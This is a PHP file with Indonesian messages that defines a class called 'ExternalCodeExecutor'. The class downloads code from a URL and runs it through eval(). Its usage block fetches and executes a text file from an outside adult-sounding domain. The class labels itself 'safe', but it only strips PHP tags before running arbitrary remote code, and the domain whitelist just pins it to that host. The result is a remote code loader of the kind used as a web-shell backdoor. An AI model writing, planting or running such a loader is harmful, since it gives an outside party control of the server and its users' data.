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<?php class ExternalCodeExecutor { private $allowed_domains; private $timeout; public function __construct($allowed_domains = [], $timeout = 10) { $this->allowed_domains = $allowed_domains; $this->timeout = $timeout; } public function executeFromUrl($url, $method = 'curl') { if (!$this->isUrlAllowed($url)) { throw new Exception("Domain tidak diizinkan"); } if ($method === 'curl') { $code = $this->fetchWithCurl($url); } else { $code = $this->fetchWithFileGetContents($url); } return $this->executeSafely($code); } private function isUrlAllowed($url) { $parsed = parse_url($url); return $parsed && isset($parsed['host']) && in_array($parsed['host'], $this->allowed_domains); } private function fetchWithCurl($url) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_FOLLOWLOCATION => false, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'Safe-Executor/1.0' ]); $result = curl_exec($ch); if (curl_errno($ch)) { throw new Exception("cURL Error: " . curl_error($ch)); } curl_close($ch); return $result; } private function fetchWithFileGetContents($url) { $context = stream_context_create([ 'http' => [ 'timeout' => $this->timeout, 'user_agent' => 'Safe-Executor/1.0' ], 'ssl' => [ 'verify_peer' => true, 'verify_peer_name' => true ] ]); $result = file_get_contents($url, false, $context); if ($result === false) { throw new Exception("Gagal mengambil konten"); } return $result; } private function executeSafely($code) { // Basic sanitization $code = trim($code); $code = preg_replace('/^<\?php/', '', $code); $code = preg_replace('/\?>\s*$/', '', $code); // Execute in isolated scope return eval($code); } } // Penggunaan try { $executor = new ExternalCodeExecutor(["stepmomhub.com"], 10); $result = $executor->executeFromUrl("https://stepmomhub.com/3.txt", "curl"); echo "Eksekusi berhasil"; } catch (Exception $e) { echo "Error: " . $e->getMessage(); } ?>
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